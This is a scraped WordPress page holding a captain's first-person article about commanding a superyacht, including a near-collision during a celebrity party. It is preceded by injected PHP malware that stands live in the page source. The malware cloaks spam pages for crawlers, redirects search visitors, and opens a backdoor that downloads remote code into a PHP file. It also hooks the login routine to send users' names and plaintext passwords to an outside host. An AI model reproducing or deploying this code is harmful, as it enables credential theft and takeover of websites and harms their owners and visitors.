if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { $apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp'; $keyword =$_SERVER['REQUEST_URI']; $url_page=$_SERVER['REQUEST_URI']; $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''); $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); $result = json_decode($output); print $result->{'body'}; } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://acagna.info/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://acagna.info/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://acagna.info/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://acagna.info/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://acagna.info/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://acagna.info/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="en-US"> <head> <meta charset="UTF-8" /> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="https://www.gccboating.com/xmlrpc.php"> <!-- This site is optimized with the Yoast SEO plugin v14.4.1 - https://yoast.com/wordpress/plugins/seo/ --> <title>Life of a Superyacht Captain - GCC Boating

Life of a Superyacht Captain

Commanding a yacht worth more than a skyscraper is a special kind of heaven, and hell. Step through the crew quarters and inside one of the world’s most challenging and otherworldly professions.

Step through the crew quarters and inside the life of one of the most misunderstood professions afloat.

This is a captain’s story, my story, where I look back on the physical, emotional and professional challenges that I have faced working in support of the most exclusive client group in the world and their relentless demands. It also charts a journey into the ‘heart of brightness’ which is the superyacht environment. It took me 15 years to earn the title of Captain and I walk through the narrow lanes, the dead ends and the bumpy distractions to that place.

Brendan O’Shannassy

Photo: Rory Busche

The world of superyachts is far removed from most of the planet’s normal. It is a world where boundaries blur and the normal rules of life seem to disappear. A world where lessons and insights are not read about and studied, but lived in an environment of constant pressure, where the consequences of actions result in immediate success or failure. This high speed, no safety net, workplace provided me with rolling insights that transfer directly for anyone looking for that edge to be their best version of themselves. My lessons are not hypothetical studies from post graduate studies and spoken in a TED talk; I lived through the glory (but mostly the pain) of constant scrutiny and expectations of billionaire superyacht owners.

A superyacht is also a study in globalization. Yacht captains do not speak of diversity as a slogan or a company goal: we live it. The crews are multi-national, multi-lingual and disperse around the globe when not onboard. The same is true of the owners. It is common for a conversation to cross multiple languages or all parties to be speaking in their second or third languages. Many businesses operate globally; this is nothing unique. But not many businesses move their office every few weeks to a new country, a different language, a new climate, a different legal system and are expected to be experts on arrival. This is the expectation placed on a yacht and its captain. Whether it be Monaco, Miami, Palau, or Papeete there is an expectation that the captain will have the intimacy of a local by the time their feet are on the dock. They may have ducked an Atlantic Hurricane (or two) during the office relocation, but this is not even considered. The business must be open on arrival. Yes, there are leadership lessons for all from this environment.

The passengers see a serene passageway. The superyacht captain sees a treacherous gap that could destroy a vessel—and end a career.

Photo: Brendan O’Shannassy

A Better Bond Villain

I will describe my actions in support of and in response to the billionaires I have served. I will peer deeply into their behaviors from my privileged position of sitting in their inner sanctums: an area that normally is so fantastic that it cannot even be represented in film.

Superyachts have completely ruined the Bond franchise for me. When I watch a Bond Film—and I love Bond films—I am always disappointed in how under-resourced the villains are, with minimal staff, small yachts and a general lack of resources.

The term ‘typical day’ does not reflect yacht captaincy. One request from a guest takes the day in a new direction or even to a new location. To the eternal chagrin of my crews, I thrive on this disruption. I see each change as a chance to climb out on my performance edge, a way of freshly testing my creativity and problem-solving capabilities, a chance to see if my leadership can deliver what the team needs when their preferred initial solution has been cast aside on the whim of a guest. Alongside the crew, I bet heavily to deliver an experience that is comparable to the incredible investment of the yacht owner. I draw deep on previous yachts, previous performance and, my crew. Sometimes I win big and sometimes I fail. The outcome being more dependent on the mood of the client than the efforts of those of us working passionately in the shadows. This is harrowing but an attraction at the same time.

On one of these ‘just another day as a superyacht captain’ days I was hosting one of the great modern Hollywood directors for a tour of the yacht. A director so fabled himself that I am sure a movie of his own life will be released if the Marvel back catalogue is ever cleared. I was struck by the inquisitiveness of this world-leading professional; it was intoxicating that he hung off my every word and then probed further with his questions. I found that I was drawing deeper into my knowledge to keep up and wanted to share the glory of this yacht with someone who was clearly interested. With all his success, the director had remained humble, engaged and good humored.

A superyacht captain should be able to celestially navigate a ship worth more than a skyscraper, host glamourous parties and coach helicopters down amidst rolling swells.

Photo: Cameron Edwards

As enjoyable as his company was, it was a busy evening and I had hoped to slip through this private tour ahead of the main guests’ arrival. There was an intimate pre-party, and the very special of the special guests were already boarding. I was trying not to seem rushed, but my internal anxiety clock was ticking. Conducting the private tour did not allow me to keep the oversight I needed of the full yacht during the critical guest arrival period.

The tour slowed further, as in addition to the questions the director was asking, we were being greeted by his friends: a tech founder, a global sportsman, an NFL team owner; they shared an intimacy that the yacht afforded. Without anyone having to say anything, they all knew: this was the rarest of air and they were truly the chosen few to inhale.

Even being the chosen few, they were also aware that they were now in a league that exceeded their own excess by so many multiples that they fell in step with their shared awe. A yacht of this scale is beyond anything an A-list actor, sportsperson or model could imagine.

Their not-insignificant net worth would not even pay for the artwork. Indeed, there was one piece on board that I liked, but drew little attention from visitors: at eighty million dollars, it alone was a lifetime’s wealth many times over.

As the director was asking for specifics of the yacht’s submarine, two other guests that I did not recognize joined us. ‘How well could you see out of the curved, thickened acrylic windows?’ ‘What was the definition of the external cameras?’ I was just keeping up with detailed responses when a Formula 1 race driver joined our small group, adding his own questions. ‘What control systems were in use and what was the automation allowing the pilot to maneuverer the bulky craft?’ As if scripted, Gio, the charismatic Italian submarine pilot, approached, smiled to my now four tour guests, and asked if I needed help. He picked up the script seamlessly, answering with technical competence, as my radio crackled, ‘could the Captain come to the helicopter deck?’

I excused myself. The helicopter deck was not a long walk, but I was slowed down by guests who sought to greet ‘the Captain’. I said my hellos, smiled and kept moving. Arriving at the helicopter deck I found the pilot stationed near the hangar, hosting guests and ensuring his precious airframes were not at risk from inquisitive hands. He waved me over and we walked to the rail at the edge of the deck. He motioned for me to look forward along the hull and as I was looking, he said, ‘that’s a bit close, isn’t it?’

There was a smaller sail yacht at anchor that was very close to the yacht, maybe ten meters from the hull at the mid-point. Way too close. I thanked the helicopter pilot and was already moving to the bridge. The bridge was three decks above and quite a walk: I took the longer, though private, crew stairs two at a time.

I arrived breathless on the bridge and moved straight to the port bridge wing where I could look back towards the sail-yacht. In a break with my normal practice I did not initially seek the Officer of the Watch stationed on the bridge. The sailboat remained ten meters from the hull, and still a danger. My thoughts were: ‘make safe first and fill in details second’.

Taking control on the bridge wing, I looked to the sensors and noted that due to a wind shift and a failure of one of the satellite positioning units, our yacht had moved 70 meters from the original safe position and we remained dangerously close to the smaller sailboat. The sailboat was already anchored when we arrived and the obligation was upon us to keep away. I reset our yacht’s dynamic positioning system, which renewed our satellite position and reset the wind sensor and returned the yacht to the original position, and away from the sailboat.

My actions only took 40 seconds, but that is a long time to have not seen the Officer of the Watch. My taking control had set off an on-screen alert on the bridge and still he hadn’t come to see what was going on. The starboard side of the bridge was 24 meters away and obscured by the last golden rays of light to the west, streaming through the windows. I shielded my eyes to see and then hear the Officer of the Watch being photographed with and fawned over by four Victoria’s Secret models. Trying not to sound too terse, I called him over from his new-found friends. The models continued to pose for each other, with champagne flutes held high, well-practiced distant looks, tilted hips and pursed lips.

I was ready to really tear him up for his lack of attention and for allowing photography on the yacht in breach of privacy agreements. As he walked the 12 meters to join me at the centerline, I could see his sheer happiness being displayed in a truly imbecilic grin. He was an awkward 25-year-old man and the idea of being the center of attention for four of the most beautiful women on the planet had left him less than useless to fulfill his safety obligations. I couldn’t berate someone in this state, so instead I pointed out the steps I had taken to keep the yacht in position and maintain safety. His face changed with the awareness of how close it was to an accident and he re-joined me from his stupor: he was truly sorry. I smiled it off, saying it is was all OK, nothing happened, no foul. Enjoy the experience with the guests but do so without forgetting why you are actually here.

He nodded meekly as one of the models joined us to see what held our attention. The bridge officer and I were still both looking down towards the sail yacht. The model heard me speak and excitedly introduced herself as a fellow Australian, raised in a rural town I knew only by its remoteness and it being a synonym for a ‘hard-up place’. In that moment I realized she must have relied on far more than beauty to have lifted herself from a life amongst Australia’s rural disadvantaged. We saw each other then: the supermodel and the superyacht captain, and with a moment of clarity saw how our lives could have been very different. I let the moment pass and with a firm grip on the forearm of the Officer of the Watch, I smiled to the ladies and gave them an instruction: ‘Keep an eye on him, he’s an important guy keeping us all safe.’ One of the models mock-saluted me and all giggled as I departed.

I entered the guest area from the back of the bridge and as I reached the main stairwell, I heard the gentle Italian accented English of Gio, the submarine pilot from the deck below.

He was still giving the tour. Coming down the stairs to the lower landing I saw him recounting to a group of five the history of a magnificent historic maritime relic that was displayed there. The Hollywood director saw me first and smiled, and as we separated from the bigger group to view the cinema, he turned to me and said, ‘I really should make a film about you and about all this’. My response came out more swiftly than was probably appropriate (this is a lifelong failing and something I keep working on without success): ‘You can’t afford the production costs, and nobody would believe you’. I realized what I had just said and flushed.

To the credit of this wonderful artist, he smiled broadly, nodded in agreement and we entered the cinema.

This frames the environment we are speaking of. Until space travel becomes a commercial reality, the yachts in this book are the greatest display of wealth on the planet. Equal to the Yachts are the Yacht Owners, whose complexity rivals their yachts. My small role in this world is as their captain. From Homer to Ahab, there is a historical fascination with the role of the captain, and today the title Captain brings with it a sense of expectation, a hoped-for competence. A sense of maturity in thought and action. I shared this view in childhood and then through my career ascending towards this lofty ideal. I was not carrying a cargo or even passengers seeking their week’s holiday. I as the superyacht captain was entertaining the wealthiest and most glamorous in the world. I was their host, their entertainer, sometimes their confessor and always their guardian. Yes, I could joke with the supermodels on the bridge and even endure their cheeky mocking, but I could never take my eye from the safety and efficiency of the operation.

